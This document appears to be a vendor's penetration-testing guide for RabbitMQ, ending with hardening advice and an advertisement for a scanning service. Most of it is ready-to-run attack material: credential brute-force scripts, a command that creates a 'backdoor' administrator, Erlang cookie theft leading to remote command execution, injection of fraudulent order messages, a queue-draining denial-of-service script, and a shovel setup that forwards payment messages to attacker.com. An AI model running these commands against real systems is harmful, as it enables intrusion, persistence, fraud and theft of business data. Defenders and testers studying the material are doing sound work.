RabbitMQ Security Testing: Message Queue Exploitation, AMQP Attacks, and Management API Abuse

RabbitMQ routes messages between microservices — making it a high-value target for intercepting business data, injecting fraudulent operations, or pivoting to internal services. The management API at port 15672 ships with default credentials (guest/guest) that are restricted to localhost but often re-enabled on exposed deployments. This guide covers the full RabbitMQ attack surface: credential exploitation, message interception, vhost isolation bypass, shovel SSRF, and federation attacks.

Table of Contents

  1. RabbitMQ Attack Surface
  2. Management API Exploitation
  3. AMQP Credential and Protocol Attacks
  4. Message Interception and Injection
  5. Virtual Host Isolation Bypass
  6. Shovel Plugin SSRF
  7. Federation Plugin Exploitation
  8. RabbitMQ Hardening

RabbitMQ Attack Surface

PortProtocolServiceRisk
5672AMQPMessage brokerCredential brute force, message interception
5671AMQPSAMQP over TLSCertificate validation bypass, weak TLS
15672HTTPManagement API / UIDefault credentials, API abuse
15671HTTPSManagement API TLSSame as 15672 over TLS
25672ErlangCluster distributionErlang cookie theft → RCE
4369EPMDErlang port mapperNode discovery, cluster manipulation
15692HTTPPrometheus metricsInformation disclosure

Management API Exploitation

The management plugin exposes a full REST API for administering RabbitMQ. Default credentials are guest/guest — only restricted to localhost by default, but many deployments bind to 0.0.0.0 or expose it via reverse proxies.

Default Credential Testing

# Test default credentials
curl -s http://rabbitmq:15672/api/overview \
  -u guest:guest | python3 -m json.tool | head -20

# Returns broker version, cluster name, message stats if auth succeeds

# Common credentials to test
for creds in "guest:guest" "admin:admin" "rabbitmq:rabbitmq" "admin:password"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    http://rabbitmq:15672/api/overview -u $creds)
  echo "$creds: HTTP $code"
done

Full API Enumeration with Valid Credentials

# List all virtual hosts
curl -s http://rabbitmq:15672/api/vhosts -u admin:admin | \
  python3 -c "import json,sys; [print(v['name']) for v in json.load(sys.stdin)]"

# List all users and their tags (administrator/management/etc.)
curl -s http://rabbitmq:15672/api/users -u admin:admin | \
  python3 -c "import json,sys; [print(u['name'], u['tags']) for u in json.load(sys.stdin)]"

# List all connections (reveals client IPs, apps, TLS status)
curl -s http://rabbitmq:15672/api/connections -u admin:admin | \
  python3 -c "
import json,sys
for c in json.load(sys.stdin):
    print(f\"Client: {c['peer_host']} App: {c.get('client_properties',{}).get('product','?')} TLS: {c['ssl']}\")
"

# List all queues with message counts
curl -s "http://rabbitmq:15672/api/queues" -u admin:admin | \
  python3 -c "
import json,sys
for q in json.load(sys.stdin):
    print(f\"VHost: {q['vhost']} Queue: {q['name']} Messages: {q['messages']} Ready: {q['messages_ready']}\")
"

# Get queue bindings (reveals routing topology)
curl -s "http://rabbitmq:15672/api/bindings/%2F" -u admin:admin | \
  python3 -c "
import json,sys
for b in json.load(sys.stdin):
    print(f\"Exchange: {b['source']} -> Queue: {b['destination']} Key: {b['routing_key']}\")
"

Creating Backdoor Users

# Create admin user for persistence
curl -s -X PUT "http://rabbitmq:15672/api/users/backdoor" \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{"password":"backdoor123","tags":"administrator"}'

# Grant full permissions on all vhosts
curl -s -X PUT "http://rabbitmq:15672/api/permissions/%2F/backdoor" \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{"configure":".*","write":".*","read":".*"}'

# Export full broker configuration (includes all credentials hashed)
curl -s http://rabbitmq:15672/api/definitions -u admin:admin > rabbitmq_config.json
# Config includes: users (with password hashes), vhosts, queues, bindings, policies

AMQP Credential and Protocol Attacks

AMQP Credential Brute Force

# AMQP brute force with Python
python3 - <<'EOF'
import pika, sys

host = "rabbitmq"
credentials_list = [
    ("guest", "guest"),
    ("admin", "admin"),
    ("rabbitmq", "rabbitmq"),
    ("user", "password"),
]

for user, password in credentials_list:
    try:
        params = pika.ConnectionParameters(
            host=host,
            credentials=pika.PlainCredentials(user, password),
            connection_attempts=1,
            socket_timeout=3
        )
        conn = pika.BlockingConnection(params)
        print(f"SUCCESS: {user}:{password}")
        conn.close()
    except pika.exceptions.AuthenticationError:
        print(f"FAIL: {user}:{password}")
    except Exception as e:
        print(f"ERROR: {e}")
EOF

Erlang Cookie Theft for RCE

RabbitMQ uses Erlang's distribution protocol for clustering. The Erlang cookie is a shared secret that authenticates cluster nodes. Theft of this cookie allows full cluster control and potential RCE.

# Default Erlang cookie locations
cat /var/lib/rabbitmq/.erlang.cookie
cat /home/rabbitmq/.erlang.cookie
cat ~/.erlang.cookie

# In containers/Kubernetes
kubectl exec -n rabbitmq pod/rabbitmq-0 -- cat /var/lib/rabbitmq/.erlang.cookie

# Once cookie is obtained, connect to Erlang distribution port (25672)
# This gives full cluster control including ability to execute code

# Check EPMD for node names
curl -s http://rabbitmq:4369/names 2>/dev/null
# Or: erl -sname attacker -setcookie STOLEN_COOKIE -remsh rabbit@hostname

# From an Erlang shell with cluster access:
# rpc:call('rabbit@hostname', os, cmd, ["id"])  # Remote command execution

Message Interception and Injection

Reading Messages via Management API

# Get messages from a queue (non-destructive peek via requeue=true)
curl -s -X POST "http://rabbitmq:15672/api/queues/%2F/order-events/get" \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{"count":10,"requeue":true,"encoding":"auto","truncate":50000}' | \
  python3 -c "
import json,sys
for msg in json.load(sys.stdin):
    print(f\"Routing key: {msg['routing_key']}\")
    print(f\"Payload: {msg['payload'][:200]}\")
    print('---')
"

# This extracts message content without removing from queue
# Messages may contain: user PII, payment data, order details, auth tokens

Message Injection

# Inject message into exchange (bypasses normal publisher auth checks if admin)
curl -s -X POST "http://rabbitmq:15672/api/exchanges/%2F/order-exchange/publish" \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{
    "properties": {"content_type": "application/json", "delivery_mode": 2},
    "routing_key": "order.created",
    "payload": "{\"orderId\":\"INJECTED-001\",\"userId\":\"attacker\",\"total\":0.01}",
    "payload_encoding": "string"
  }'

# Via AMQP directly (more realistic attack path with compromised service credentials)
python3 - <<'EOF'
import pika, json

creds = pika.PlainCredentials("service-account", "leaked-password")
conn = pika.BlockingConnection(pika.ConnectionParameters("rabbitmq", credentials=creds))
channel = conn.channel()

# Inject a message that triggers downstream processing
channel.basic_publish(
    exchange='order-exchange',
    routing_key='order.created',
    body=json.dumps({
        "orderId": "INJECTED-001",
        "userId": "attacker-id",
        "items": [{"sku": "EXPENSIVE-ITEM", "qty": 100, "price": 0.01}],
        "status": "approved"
    }),
    properties=pika.BasicProperties(
        content_type='application/json',
        delivery_mode=2,
    )
)
conn.close()
print("Injected")
EOF

Queue Draining (Denial of Service)

# Drain a queue (consume all pending messages — causes service disruption)
python3 - <<'EOF'
import pika

def drain_queue(host, user, password, queue_name):
    creds = pika.PlainCredentials(user, password)
    conn = pika.BlockingConnection(pika.ConnectionParameters(host, credentials=creds))
    channel = conn.channel()
    count = 0
    while True:
        method, props, body = channel.basic_get(queue=queue_name, auto_ack=True)
        if method is None:
            break
        count += 1
    conn.close()
    return count

drained = drain_queue("rabbitmq", "admin", "admin", "critical-jobs")
print(f"Drained {drained} messages")
EOF

Virtual Host Isolation Bypass

RabbitMQ uses virtual hosts (vhosts) for multi-tenancy isolation. Misconfigured user permissions can allow cross-vhost access.

# Check user permissions across all vhosts
curl -s http://rabbitmq:15672/api/permissions -u admin:admin | \
  python3 -c "
import json,sys
for p in json.load(sys.stdin):
    print(f\"User: {p['user']} VHost: {p['vhost']} Configure: {p['configure']} Read: {p['read']} Write: {p['write']}\")
"

# Overpermissive pattern — user has .* on all resources in vhost
# User: app-service VHost: /production Configure: .* Read: .* Write: .*
# This means the service can read ANY queue in /production, not just its own

# Test cross-vhost access (user should only access /app vhost)
curl -s -X POST "http://rabbitmq:15672/api/queues/%2Fproduction/payment-events/get" \
  -H "Content-Type: application/json" \
  -u app-service:app-password \
  -d '{"count":1,"requeue":true,"encoding":"auto"}'

# Shovel plugin can move messages between vhosts — check if configured insecurely
curl -s http://rabbitmq:15672/api/parameters/shovel -u admin:admin | python3 -m json.tool

Shovel Plugin SSRF

The Shovel plugin moves messages between brokers. An attacker with management API access can configure a shovel to forward all messages to an attacker-controlled AMQP server or use it as an SSRF vector.

# Configure a shovel to exfiltrate messages to attacker's server
curl -s -X PUT "http://rabbitmq:15672/api/parameters/shovel/%2F/data-exfil" \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{
    "value": {
      "src-protocol": "amqp091",
      "src-uri": "amqp://localhost/%2F",
      "src-queue": "payment-events",
      "dest-protocol": "amqp091",
      "dest-uri": "amqp://attacker.com:5672/%2F",
      "dest-queue": "exfil",
      "src-prefetch-count": 1000,
      "ack-mode": "on-publish"
    }
  }'

# All messages from payment-events are now copied to attacker's broker
# Note: src-prefetch-count determines how many messages are buffered

# SSRF to internal services via AMQP connection attempts
# RabbitMQ will attempt TCP connection to any dest-uri — use for internal port scanning
for port in 22 80 443 3306 5432 6379 8080 9200; do
  curl -s -X PUT "http://rabbitmq:15672/api/parameters/shovel/%2F/probe-$port" \
    -H "Content-Type: application/json" -u admin:admin \
    -d "{\"value\":{\"src-uri\":\"amqp://localhost/%2F\",\"src-queue\":\"test\",\"dest-uri\":\"amqp://internal-host:$port/%2F\",\"dest-queue\":\"test\"}}" &
done
# Check connection status to determine open ports
sleep 2
curl -s http://rabbitmq:15672/api/parameters/shovel -u admin:admin | \
  python3 -c "import json,sys; [print(p['name'], p['value'].get('dest-uri')) for p in json.load(sys.stdin)]"

Federation Plugin Exploitation

# Federation links external exchanges/queues to internal ones
# Misconfigured federation can expose internal queues to external brokers

# List federation links
curl -s http://rabbitmq:15672/api/federation-links -u admin:admin | python3 -m json.tool

# Federation upstream configuration (may contain credentials to external brokers)
curl -s http://rabbitmq:15672/api/parameters/federation-upstream -u admin:admin | \
  python3 -c "
import json,sys
for u in json.load(sys.stdin):
    print(f\"Name: {u['name']} URI: {u['value']['uri']}\")
"
# URIs may contain embedded credentials: amqp://user:password@remote-host/vhost

RabbitMQ Hardening

# 1. Delete default guest user
curl -s -X DELETE http://rabbitmq:15672/api/users/guest -u admin:strong-password

# 2. Create least-privilege users per service
# Service users: only read/write on their specific queues
curl -s -X PUT "http://rabbitmq:15672/api/users/order-service" \
  -H "Content-Type: application/json" \
  -u admin:strong-password \
  -d '{"password":"STRONG_RANDOM","tags":""}'

# Grant minimal permissions — only their own queues
curl -s -X PUT "http://rabbitmq:15672/api/permissions/%2F/order-service" \
  -H "Content-Type: application/json" \
  -u admin:strong-password \
  -d '{"configure":"^order-.*","write":"^order-exchange$","read":"^order-queue$"}'

# 3. Enable TLS for AMQP (amqps://)
# rabbitmq.conf:
# listeners.ssl.default = 5671
# ssl_options.cacertfile = /etc/rabbitmq/ca.pem
# ssl_options.certfile   = /etc/rabbitmq/server.pem
# ssl_options.keyfile    = /etc/rabbitmq/server.key
# ssl_options.verify     = verify_peer
# ssl_options.fail_if_no_peer_cert = true

# 4. Restrict management API to localhost or internal IP only
# rabbitmq.conf:
# management.listener.ip = 127.0.0.1

# 5. Set strong Erlang cookie
# Generate: openssl rand -hex 32
# Set in /var/lib/rabbitmq/.erlang.cookie (mode 400)

# 6. Network policy in Kubernetes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: rabbitmq-access
spec:
  podSelector:
    matchLabels:
      app: rabbitmq
  ingress:
  - from:
    - podSelector: {}  # Only pods in same namespace
    ports:
    - port: 5672  # AMQP only — no management API from pods
RabbitMQ Security Checklist: Delete guest account; create per-service users with minimal queue permissions; enable TLS for AMQP; bind management API to localhost; protect Erlang cookie (mode 400, strong random value); audit shovel and federation configurations for exfiltration paths; review queue message content for sensitive data in transit.
Security TestMethodPriority
Default guest credentialscurl /api/overview -u guest:guestCritical
Management API exposurePort scan + auth testCritical
Message content inspectionPOST /api/queues/.../getHigh
Erlang cookie accessFile system / k8s execCritical
Overpermissive user permissionsGET /api/permissionsHigh
Shovel SSRF configurationGET /api/parameters/shovelHigh
Federation upstream credentialsGET /api/parameters/federation-upstreamHigh
AMQP TLS verificationopenssl s_client -connect :5671Medium

Automate Message Queue Security Testing

Ironimo scans RabbitMQ deployments for exposed management APIs, default credentials, and misconfigured shovel plugins as part of automated infrastructure security testing.

Start free scan